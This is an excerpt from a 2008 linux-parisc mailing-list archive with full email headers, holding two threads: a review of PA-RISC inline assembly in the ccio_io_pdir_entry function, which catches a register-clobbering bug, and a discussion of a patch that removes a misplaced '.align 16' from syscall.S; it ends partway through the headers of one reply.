	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KFseu-00065X-Hi
	for glpp-linux-parisc@gmane.org; Mon, 07 Jul 2008 17:29:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753133AbYGGP2v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jul 2008 11:28:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753190AbYGGP2v
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Jul 2008 11:28:51 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:58714 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753133AbYGGP2u (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jul 2008 11:28:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D986B4F80FE;
	Mon,  7 Jul 2008 09:28:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06263-05; Mon, 7 Jul 2008 09:28:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 913A44F80FA; Mon,  7 Jul 2008 09:28:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <486BC289.6050405@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/483>

On Wed, Jul 02, 2008 at 06:01:45PM +0000, Joel Soete wrote:
>> So can you remind me (and Kyle) why this is better than what is
>> there now?
> mmm may be because gcc consider it now as only 1 'volatile' instruction:
>
> in <ccio_map_sg>
> -----------< Original code > --------------+------------< New stuff 
> >-----------------
> 200: 06 80 53 13  lci r0(sr1,r20),r19      |  200: 08 1a 02 54  copy r26,r20
> 204: d2 73 1a 74  extrw,u r19,19,12,r19    |  204: 06 a0 53 14  lci r0(sr1,r21),r20
> 208: 08 1a 02 5c  copy r26,ret0            |  208: d2 94 1a 74  extrw,u r20,19,12,r20
> 20c: d7 93 0e 14  depw r19,15,12,ret0      |  20c: d7 94 0e 14  depw r20,15,12,ret0
> 210: 0e dc 12 80  stw ret0,0(r22)             210: 0e dc 12 80  stw ret0,0(r22)
> 214: 06 c0 12 80  fdc r0(r22)                 214: 06 c0 12 80  fdc r0(r22)
> 218: 00 00 04 00  sync                        218: 00 00 04 00  sync
>
> thought?

I'm not comfortable "New stuff" version is correct.

In "New Stuff", r20 gets clobbered and values copied from
r26 are lost. That's not the case in the original code.
"depw" only replaces 12 bits of "ret0" in the original code.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2 
	optimization?
Date: Tue,  8 Jul 2008 10:04:06 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <K3OJUU$AD461F2DD4F7CAAF0D27FCC2C55B9241@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1215507925 17747 80.91.229.12 (8 Jul 2008 09:05:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Jul 2008 09:05:25 +0000 (UTC)
Cc: "grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 08 11:06:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KG992-0003lB-Kx
	for glpp-linux-parisc@gmane.org; Tue, 08 Jul 2008 11:05:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753404AbYGHJFD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Jul 2008 05:05:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753541AbYGHJFB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Jul 2008 05:05:01 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:59497 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753404AbYGHJFA convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Jul 2008 05:05:00 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m689465T024934;
	Tue, 8 Jul 2008 11:04:07 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/484>

[...]
> 
> In "New Stuff", r20 gets clobbered and values copied from
> r26 are lost. That's not the case in the original code.
> "depw" only replaces 12 bits of "ret0" in the original code.
> 
Good catch, in fact I would just have to save the read+write constraint on pa;
i.e this seems to make the drill:

        __asm__ __volatile__ (
        "lci    %%r0(%%sr1, %2), %0\n"
        "\textru        %0,19,12,%0\n"
        "\tdepw         %0,15,12,%1\n"
        : "=r" (ci), "+r" (pa)
        : "r" (vba)
        );

comparing produced objdump:
00000000 <ccio_io_pdir_entry>:           00000000 <ccio_io_pdir_entry>:
 0: 00 19 58 20  mtsp r25,sr1             0: 00 19 58 20  mtsp r25,sr1
 4: 23 80 0e 01  ldil L%-10000000,ret0    4: 23 80 0e 01  ldil L%-10000000,ret0
 8: 0b 98 0a 1c  add,l r24,ret0,ret0      8: 0b 98 0a 1c  add,l r24,ret0,ret0
 c: d7 97 0c 14  depw r23,31,12,ret0      c: d7 97 0c 14  depw r23,31,12,ret0
10: 0f 5c 12 88  stw ret0,4(r26)       | 10: 34 13 00 00  ldi 0,r19
14: 07 00 53 18  lci r0(sr1,r24),r24   | 14: 0f 5c 12 88  stw ret0,4(r26)
18: d3 18 1a 74  extrw,u r24,19,12,r24 | 18: 07 00 53 1c  lci r0(sr1,r24),ret0
1c: 34 1c 00 00  ldi 0,ret0            | 1c: d3 9c 1a 74  extrw,u ret0,19,12,ret0
20: d7 98 0e 14  depw r24,15,12,ret0   | 20: d6 7c 0e 14  depw ret0,15,12,r19
24: 0f 5c 12 80  stw ret0,0(r26)       | 24: 0f 53 12 80  stw r19,0(r26)
28: 07 40 12 80  fdc r0(r26)             28: 07 40 12 80  fdc r0(r26)
2c: 00 00 04 00  sync                    2c: 00 00 04 00  sync
30: e8 40 c0 02  bv,n r0(rp)             30: e8 40 c0 02  bv,n r0(rp)
Disassembly of section .text.ccio_free_consistent:Disassembly of section ...

This time r19 is well 'initialized' with 0 (as per C code pa = 0);
the coherent index in r28 (ret0) and after extrw, depw replaces 12 bits of r19.

Many thanks for re-reading ;-)
    J.

> thanks,
> grant
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] drop superfluous .align 16
Date: Tue, 8 Jul 2008 22:06:35 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <200807082206.36288.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215547695 4257 80.91.229.12 (8 Jul 2008 20:08:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Jul 2008 20:08:15 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	Randolph Chung <tausq@parisc-linux.org>
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 08 22:09:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KGJTN-0001v3-2p
	for glpp-linux-parisc@gmane.org; Tue, 08 Jul 2008 22:07:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752938AbYGHUGm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Jul 2008 16:06:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754127AbYGHUGm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Jul 2008 16:06:42 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51214 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752938AbYGHUGm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Jul 2008 16:06:42 -0400
Original-Received: (qmail invoked by alias); 08 Jul 2008 20:06:40 -0000
Original-Received: from mnhm-590e0183.pool.einsundeins.de (EHLO p100.box) [89.14.1.131]
  by mail.gmx.net (mp039) with SMTP; 08 Jul 2008 22:06:40 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/pGccV7+Lp9TGQzr13HbkNDkwNAwwpYhFXsL492e
	snJVjCvgb7Zu67
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/485>

This .align 16 is misplaced and should be in front of the ENTRY(lws_lock_start).
Works because of pure luck since we have a .align PAGE_SIZE before it instead.

Signed-off-by: Helge Deller <deller@gmx.de>

--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -640,7 +640,6 @@ END(sys_call_table64)
 	.align	PAGE_SIZE
 ENTRY(lws_lock_start)
 	/* lws locks */
-	.align 16
 	.rept 16
 	/* Keep locks aligned at 16-bytes */
 	.word 1
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Wed, 9 Jul 2008 08:14:13 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab440807090514o282301a9g6ef05149dbca3efb@mail.gmail.com>
References: <200807082206.36288.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215605664 5086 80.91.229.12 (9 Jul 2008 12:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jul 2008 12:14:24 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Randolph Chung" <tausq@parisc-linux.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 09 14:15:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KGYZh-000247-4b
	for glpp-linux-parisc@gmane.org; Wed, 09 Jul 2008 14:15:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756072AbYGIMOP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Jul 2008 08:14:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756219AbYGIMOP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Jul 2008 08:14:15 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.181]:1397 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755726AbYGIMOO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Jul 2008 08:14:14 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so1798318waf.23
        for <linux-parisc@vger.kernel.org>; Wed, 09 Jul 2008 05:14:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=5W9cXAxCd9M00hMzZ0jeGUQg2tB5Y/QGdvmaI+RPWpE=;
        b=uR4Hx5aRtVCl+R1UfxhqWCWf4PcIP2FE2KImJpYIjjXZlooO247ZaiPDtLYqf1x+qR
         kpeWY6X1twlYnLOwBdbz6VBfSBpjUWacQjSH3o4aQ7Y21DDbdKozN5cPq98sHVhBeJWa
         jiOQgcmvzzL6H8mG7Kj+wFE6Z0vL2hYtYjvVY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=jBRjVDn4AMKR7MjpgbPeTpAxafOy9ocovRM7pXZsMbxrbyh5M+vGVoWqVDHQBDQBsj
         GlUSvO3n9z96zrPPdv9CK/rV1tTDxLho1Bu+qDFdy3pEswHjbLAYcLn1rDCxMlOl2cql
         4P+0DQI65jJGAR544h03G59C4nGju/xp/PBAA=
Original-Received: by 10.114.181.1 with SMTP id d1mr9172558waf.185.1215605653888;
        Wed, 09 Jul 2008 05:14:13 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Wed, 9 Jul 2008 05:14:13 -0700 (PDT)
In-Reply-To: <200807082206.36288.deller@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: 1656be096882939a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/486>

On Tue, Jul 8, 2008 at 4:06 PM, Helge Deller <deller@gmx.de> wrote:
> This .align 16 is misplaced and should be in front of the ENTRY(lws_lock_start).
> Works because of pure luck since we have a .align PAGE_SIZE before it instead.

This is not true, the .align 16 aligns almost any object in the
subsection including .word.

However, it is superfluous since we have a .align PAGE_SIZE, but I was
probably being safe in the event that someone put an object before
lws_lock_start.

> Signed-off-by: Helge Deller <deller@gmx.de>
>
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -640,7 +640,6 @@ END(sys_call_table64)
>        .align  PAGE_SIZE
>  ENTRY(lws_lock_start)
>        /* lws locks */
> -       .align 16
>        .rept 16
>        /* Keep locks aligned at 16-bytes */
>        .word 1

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Wed, 09 Jul 2008 21:50:56 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <487516A0.6090601@gmx.de>
References: <200807082206.36288.deller@gmx.de> <119aab440807090514o282301a9g6ef05149dbca3efb@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215633078 11383 80.91.229.12 (9 Jul 2008 19:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jul 2008 19:51:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Randolph Chung <tausq@parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 09 21:52:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KGfho-0006eL-GV
	for glpp-linux-parisc@gmane.org; Wed, 09 Jul 2008 21:52:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750926AbYGITvG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Jul 2008 15:51:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751168AbYGITvF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Jul 2008 15:51:05 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:55852 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750926AbYGITvE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Jul 2008 15:51:04 -0400
Original-Received: (qmail invoked by alias); 09 Jul 2008 19:51:00 -0000
Original-Received: from mnhm-590f6c48.pool.einsundeins.de (EHLO halden.box) [89.15.108.72]
  by mail.gmx.net (mp036) with SMTP; 09 Jul 2008 21:51:00 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+BJI1Z05mB7HtBi2bNvvdRtlIEoROiFTRVOdvCsS
	OYbq1skWtuSZo8
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <119aab440807090514o282301a9g6ef05149dbca3efb@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/487>

Carlos O'Donell wrote:
> On Tue, Jul 8, 2008 at 4:06 PM, Helge Deller <deller@gmx.de> wrote:
>> This .align 16 is misplaced and should be in front of the ENTRY(lws_lock_start).
>> Works because of pure luck since we have a .align PAGE_SIZE before it instead.
> 
> This is not true, the .align 16 aligns almost any object in the
> subsection including .word.

Sure, but it does not take care of lws_lock_start itself.

> However, it is superfluous since we have a .align PAGE_SIZE, but I was
> probably being safe in the event that someone put an object before
> lws_lock_start.

What I mean is, that the lws_lock_start label should start at 16byte 
boundary, right? (it is due to the .align PAGE_SIZE).
Now, if e.g. the .word555 (see below) would be in there, then
lws_lock_start would be at PAGE_SIZE+4, while the .word1 would start at 
PAGE_SIZE+16, which is wrong for accessing the lws_lock_start variables, 
where the first entry should be "1".

Example:
        .align  PAGE_SIZE
        .word 5555  <<<- think this would be here.
ENTRY(lws_lock_start)
       /* lws locks */
      .align 16
      .rept 16
      /* Keep locks aligned at 16-bytes */
      .word 1

So, I still think it would be better to remove the .align16, or 
alternatively to move it in front of ENTRY(lws_lock_start) [to be on the 
safe side].

Am I really that wrong?

Helge

>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> --- a/arch/parisc/kernel/syscall.S
>> +++ b/arch/parisc/kernel/syscall.S
>> @@ -640,7 +640,6 @@ END(sys_call_table64)
>>        .align  PAGE_SIZE
>>  ENTRY(lws_lock_start)
>>        /* lws locks */
>> -       .align 16
>>        .rept 16
>>        /* Keep locks aligned at 16-bytes */
>>        .word 1
> 
> Cheers,
> Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Wed, 9 Jul 2008 16:22:04 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440807091322m3e76510bg6569f12ded12fac1@mail.gmail.com>
References: <200807082206.36288.deller@gmx.de>
	 <119aab440807090514o282301a9g6ef05149dbca3efb@mail.gmail.com>
	 <487516A0.6090601@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215634943 17939 80.91.229.12 (9 Jul 2008 20:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jul 2008 20:22:23 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Randolph Chung" <tausq@parisc-linux.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 09 22:23:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KGgBt-0001be-IZ
	for glpp-linux-parisc@gmane.org; Wed, 09 Jul 2008 22:23:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751526AbYGIUWL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Jul 2008 16:22:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751585AbYGIUWL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Jul 2008 16:22:11 -0400
Original-Received: from yw-out-2324.google.com ([74.125.46.29]:13582 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751526AbYGIUWK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Jul 2008 16:22:10 -0400
Original-Received: by yw-out-2324.google.com with SMTP id 9so1412607ywe.1
        for <linux-parisc@vger.kernel.org>; Wed, 09 Jul 2008 13:22:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=nD6Xsxike9dhk2f+6McBFcW4s29OcGmcDYDqki/sg38=;
        b=Jk4QuiWEgpPlidp7LHXj55fF9tZiWFONGVX4M5+pE9rlkBoMQZOFFYBC5DDy04en6w
         kuZF7cByt1BAROzFh6Ukuh4rVGT0QV0s2P0Ttk9GqxxtubxgQeTBBHxYa3Py6GSgqkYq
         MRWzYCaP5U0zKFYAwkSmlOUvuWDHpvo1IzUvw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=WGEm/OS93sXxNAUmivEKSSesGZm5Ib17oNdwS5Ztonm8snzeribf5wemohSsb9zYcO
         s+r5L5qAt7T2REMbh9KxHeMBvwN7oS9dV7MOY/7TkY3PtzM5zUvXpMjxVYpdyu63rhAq
         2bZT/0kXbPbGseQTFPpl+qocaB8OVZk5X2NAQ=
Original-Received: by 10.114.36.4 with SMTP id j4mr3526532waj.156.1215634924911;
        Wed, 09 Jul 2008 13:22:04 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Wed, 9 Jul 2008 13:22:04 -0700 (PDT)
In-Reply-To: <487516A0.6090601@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: f8765b6fd0a551dd
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/488>

On Wed, Jul 9, 2008 at 3:50 PM, Helge Deller <deller@gmx.de> wrote:
> So, I still think it would be better to remove the .align16, or
> alternatively to move it in front of ENTRY(lws_lock_start) [to be on the
> safe side].
>
> Am I really that wrong?

No, you are absolutely right. I forgot the locks are referenced via
lws_lock_start, and the symbol needs to be aligned. Sorry, I thought
there was another symbol elsewhere.

Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Wed, 9 Jul 2008 16:55:11 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20080709205511.9BC204E4A@hiauly1.hia.nrc.ca>
References: <119aab440807091322m3e76510bg6569f12ded12fac1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215636935 25053 80.91.229.12 (9 Jul 2008 20:55:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jul 2008 20:55:35 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	tausq@parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 09 22:56:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KGghr-0007TA-Tf
	for glpp-linux-parisc@gmane.org; Wed, 09 Jul 2008 22:56:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750955AbYGIUzN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Jul 2008 16:55:13 -0400
